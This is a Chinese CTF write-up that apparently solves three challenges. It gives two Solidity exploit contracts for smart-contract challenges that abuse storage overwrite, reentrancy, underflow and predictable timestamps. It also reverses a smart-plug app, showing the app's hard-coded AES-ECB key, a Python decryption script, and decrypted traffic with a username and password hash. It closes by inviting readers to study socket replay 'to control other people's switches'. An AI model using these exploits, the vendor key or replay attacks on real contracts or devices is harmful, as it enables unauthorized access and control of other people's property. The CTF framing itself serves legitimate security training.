ETH
此次题目第二题比较简单,是根据已有题目改编,第一题稍微有一点点难度。不过也有很多方法解决题目。相对来说都极大的减小了解题难度以及逆向难度。
同时也恭喜Ainevsia?全部AK。
uncertainty
这题逆向的难度会比较大,需要各位慢慢的来读代码。
逆向分析不说了,其实这是一个我自己想法出的一个比较奇怪的题。可能会被各种各样的非预期秒,不过所有非预期其实也相当于预期,毕竟放宽的条件比较开。
因为如题目描述一样,这题的难易度由你本身而定。
我这里给出一种解法。 login时覆盖 target1 构造恶意合约,
其他随意覆盖,最后一个tt写入目标合约。
然后后面是一个 逻辑洞,和XCTF Final 2019的是一样的按理来说应该逆向不出来Merak这个函数所以构造完恶意合约需要改函数名的四字节地址。
这里我也给了一些其他的想法点,因为是在模仿一个出入栈过程,而且出栈写的有问题,这里有重入溢出。以及覆盖从而和后面的revise函数构成任意写。也可以在一定程度上完成此题。也希望大家能想出更有趣的方式。
为了防止一开始就被大哥追到我的复现记录,所以下面的代码除了上面地址是Ropsten,其他都是虚拟机上调的。
0xf73D2aA0e375AA98a47B2b7192B593283A98fE0e@Ropsten
flagaddress:0x2220f90af16c435f6E3A204dFDF275f9f1c4B029@Ropsten
pragma solidity ^0.4.17;
interface merak{
function Merak(uint) view public returns (bool);
}
contract unlock{
uint win;
address owner;
bool public winned;
constructor()payable{
owner=msg.sender;
winned=false;
}
function getaddress()public returns(address)
{
return address(this);
}
}
contract flag{
address public owner;
mapping(uint256=>bool) public is_successful;
constructor()payable{
owner=msg.sender;
}
function getaddress()public returns(address)
{
return address(this);
}
function getflag()public payable{
challenge A=challenge(owner);
require(A.gettingflag());
is_successful[uint256(challenge(owner).tt())]=true;
}
}
contract ez{
uint win;
address public owner;
bool public success;
constructor()payable{
owner=msg.sender;
}
function getaddress()public returns(address)
{
return address(this);
}
function betting(uint ss) public payable{
address target=challenge(owner).tt();
merak hack=merak(target);
if(!hack.Merak(ss)){
win=ss;
success=hack.Merak(win);
}
}
}
contract challenge{
address public target1;
address public target2;
uint256 length;
address public tt;
bytes32[] public a;
uint256 meiyong;
address public target3;
unlock A;
flag B;
ez C;
struct edge{
uint256 loginid;
uint256 time;
uint256 maybe;
uint256 val;
address logined;
}
constructor()payable{
A=(new unlock).value(0.0001 ether)();
B=(new flag).value(0.0001 ether)();
C=(new ez).value(0.0001 ether)();
target1=address(A);
target2=address(B);
target3=address(C);
}
function login(uint256 a,uint256 c)public payable{
edge temp;
temp.loginid=a;
temp.time=now%1000;
temp.maybe=c;
temp.val=msg.value;
temp.logined=msg.sender;
tt=msg.sender;
}
function getaddress()public
{
target1=A.getaddress();
target2=B.getaddress();
target3=C.getaddress();
}
function pop()public{
require(msg.value==0.1 ether);
length--;
for(uint256 i=0;i<=length;i++)
a[i]=a[i+1];
msg.sender.call.value(msg.value)();
require(length>=0);
}
function push(bytes32 num)public{
length++;
require(msg.value==0.1 ether);
msg.sender.transfer(msg.value);
for(uint256 i=length;i>=1;i--)
{
a[i]=a[i-1];
}
a[0]=num;
}
function revise(bytes32 tt,uint256 len)public
{
require(len<=length,"not enough");
a[len]=tt;
}
function gettingflag() public returns(bool)
{
ez(target3).betting(123);
if (ez(target3).success()==true&&unlock(target1).winned()==true)
return true;
else
return false;
}
}
contract tttt{
bool public winned;
constructor(){
winned=true;
}
}
contract exp{
address target=0x0498B7c793D7432Cd9dB27fb02fc9cfdBAfA1Fd3;
address flag1=0x26deFDAD139a48Ae4eeED0cb0ddfe3CE7CFF50a4;
address s3=0xAcEDC012C1962f5EACFa165abFEf682D1D7b92d9;
challenge A = challenge(target);
flag B = flag(flag1);
ez C = ez(s3);
bool ta=true;
constructor()payable{}
function calculating()public returns (uint256)
{
bytes32 tar_get=keccak256(abi.encode(bytes32(address(this)),bytes32(0)));
return uint256(tar_get);
}
function step1()public payable{
A.login(90028314054265874215933433129302817480352835638,1);
}
function Merak(uint256) public returns (bool)
{
ta=!ta;
return ta;
}
function gettheflag(){
B.getflag();
}
}
Check_IN
挺简单的一道题,是innovation最后两题的一种融合形式。
需要我们预测create地址,然后 now在同一区块都是一样的所以取一次一直打就可以了。
pragma solidity 0.4.24;
contract debug{
mapping(address=>bool) public model;
constructor(address fm)payable{
if(address(this).balance==2.333 ether)
{
model[fm]=true;
}
}
function()payable{}
}
contract challenge{
uint public meiyong;
mapping(uint=>bool) public is_successful;
mapping(address=>bool) public addAuth;
mapping(address=>uint256) public val;
debug public debugmodel;
constructor()payable{
addAuth[msg.sender]=true;
}
modifier ctf()
{
require(addAuth[msg.sender]||debugmodel.model(msg.sender),"You are not allowed to use this");
_;
}
function one(address target)public payable{
debugmodel=new debug(target);
}
function betting()public payable ctf{
if((now%10**8)*10**10 == msg.value){
val[msg.sender] +=uint(msg.value);
uint cost = msg.value;
msg.sender.transfer(cost);
}
}
function getflag()public ctf{
require(val[msg.sender]>10**18);
is_successful[uint(msg.sender)]=true;
}
function newinhere(address target)public ctf{
addAuth[target]=true;
}
}
contract exp{
address target1=0xee11d67fd2de74eba2cce1f41e4af2a3ed8ced50;
address target=0x5A0A4580bD7A2758794d4AD0Df9aaa26d561720C;
challenge A = challenge(target);
constructor()payable{
}
function step1()public payable{
target1.transfer(2.333 ether);
A.one(address(this));
}
function step2()public payable{
uint val=(now%10**8)*10**10;
for(uint i=0;i<=10;i++)
A.betting.value(val)();
}
function getflag()public{
A.getflag();
}
function dest()public{
selfdestruct(0x604a00B360a5dD5eB54E4D6E7b053ACF4389d3dC);
}
function()payable{}
}
IOT
IOT_1
1.安装app,注册登陆并进行配置,从而可通过手机对设备进行控制。
2.分析app程序的目的是识别可能对控制设备有用的信息,如命令结构,加解密的细节,API keys,硬编码的敏感数据,配置信息等等。
使用JADx打开app程序,可在如图处发现SecurityAes类,其中的代码是引用native库libHomeMate_Security。
分析库函数所使用的工具是binaryninja,开头以Java_homateap_orvibo*为名的函数,是JAVA库函数的实现。(但我发现IDA7.5也能直接用,先按照教程的走把)
以..encryptByte函数分析为例,我们查看其汇编,发现其中有个变量pkKey,可猜测为publicKey,继续分析可知其地址为0x5d3c,而其中的字符串值为khgg…为AES的加密密钥。同时,通过函数名可知,该AES的加密方式为ECB模式。
至此,app的分析完成,接下来将通过网络抓包,分析其命令控制结构。
将手机连接至电脑热点并使用wireshark进行抓包。其中有数据包的DATA段有数据,并且可以结合app的分析可知是AES的加密密文。
这里一个值得注意的是,DATA的数据也是有一定的格式,具体的可以通过多个数据包比对,其大概格式从hd开头的42字节为包头,剩余的才为真正的加密密文。
按顺序使用app中的pkkey对DATA进行解密,其是一段json格式。可发现交互后,服务器会返回一个数据包,其中某个数据包有关键字段key。当用pkkey继续解密后续的数据包为乱码,尝试用key进行解密,解密成功。
“b’{“userName”:”15889708567”,”password”:”E19D5CD5AF0378DA05F63F891C7467AF”,”familyId”:”e2f5626652074d91a7da35c8da16f414”,”type”:4,”cmd”:2,”serial”:1356570365,”ver”:”3.7.0”,”debugInfo”:”Android_ZhiJia365_29_3.7.0.302”}\n\n\n\n\n\n\n\n\n\n’”
因此可以猜测,pkkey为密钥协商密钥,key为会话密钥。最后发现on/off的json格式为:
C: b’{“uid”:”807d3a12d853”,”userName”:”15889708567”,”deviceId”:”472e6881a34e41caae2c9038fb882901”,”order”:”on”,”value1”:0,”value2”:0,”value3”:0,”value4”:0,”delayTime”:0,”qualityOfService”:1,”defaultResponse”:1,”propertyResponse”:0,”cmd”:15,”serial”:13713215,”ver”:”3.7.0”,”debugInfo”:”Android_ZhiJia365_29_3.7.0.302”}\x08\x08\x08\x08\x08\x08\x08\x08’
S: b’{“uid”:”807d3a12d853”,”serial”:13713215,”cmd”:15,”status”:0}\x04\x04\x04\x04’
C: b’{“uid”:”807d3a12d853”,”userName”:”15889708567”,”deviceId”:”472e6881a34e41caae2c9038fb882901”,”order”:”off”,”value1”:1,”value2”:0,”value3”:0,”value4”:0,”delayTime”:0,”qualityOfService”:1,”defaultResponse”:1,”propertyResponse”:0,”cmd”:15,”serial”:1288327606,”ver”:”3.7.0”,”debugInfo”:”Android_ZhiJia365_29_3.7.0.302”}\x05\x05\x05\x05\x05’
S: b’{“uid”:”807d3a12d853”,”serial”:1288327606,”cmd”:15,”status”:0}\x02\x02’
最后附上脚本:
import requests
from Crypto.Cipher import AES
from binascii import b2a_hex,a2b_hex
from Crypto.Util.Padding import pad,unpad
cipher = "6864007a706be0fda9c53735316264323634383239383463323538393036663430363739373462626366c572af966423d7df48219b11b928c1b07e4171b7fd1f929c106b211c59d6e864be62c6be54cf5826095f8b065245a04c35403e06338fe2f9bd39beb283bd07c6950624fd46dbf6434897665420ea75a8"
print(len(a2b_hex(cipher)))
aeskey = "khggd54865SNJHGF"
aesobj = AES.new(aeskey.encode("utf-8"),AES.MODE_ECB)
text = aesobj.decrypt(a2b_hex(cipher)[42:])
print(text)
'''
b'{"serial":1353588810,"cmd":0,"key":"139cH07mffsiGZ22","status":0}\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f'
'''
#get sessionkey
sessioncipher = "6864016a646bda6deec2373531626432363438323938346332353839303666343036373937346262636654a72681376f802f54fea242e1a8da4ced8e411c0f8d1bc0e7386765e30c5012828ec12951c818978cc1d199cc39cd7c090098ff4c212c2a0e9bd7d8de080febe3e170a2e70ad37abde38340b6c726f2730d2efc5a3479495d8ffd8d4d5e15385483d9e8a1a29825409e4924847f09d5cb1e6a71ed1bcae836c6d3630528172e9fab92fd837e50342215272c8c6fafb0a2c3b7b9128c0e368ed529a1caa390449e43cf77af258bc3e673edc5a00bf97e339d5633f1a2edfb9c700fb2969d4a34e50c8603412b4b934c7c4174933b3eeee1f3cc9b7258ebf79cf0afcd2960dc92a87500a4afb489ab691340107d55ea0eebeddb955b8e3fa619820ebb34cb47d8fbdbecd351e5d12b54586773b68d10aeaec06b330707e397b8e847a29db510b4b85414fa99d2d6d4b580ac2bfe700fa5365c9fd2c89527b38439e218752fc4fa"
sessionkey = "139cH07mffsiGZ22"
sessionobj = AES.new(sessionkey.encode("utf-8"),AES.MODE_ECB)
text = sessionobj.decrypt(a2b_hex(sessioncipher)[42:])
print(text)
'''
text = b'{"uid":"807d3a12d853","userName":"15889708567","deviceId":"472e6881a34e41caae2c9038fb882901","flag":"MRCTF{wHat_A_Smart_PluG!}","value1":1,"value2":0,"value3":0,"value4":0,"delayTime":0,"qualityOfService":1,"defaultResponse":1,"propertyResponse":0,"cmd":15,"serial":151988590,"ver":"3.7.0","debugInfo":"Android_Z"}\x06\x06\x06\x06\x06\x06'
'''
感兴趣的师傅可以研究下socket重放,以后就可以控制别人的开关啦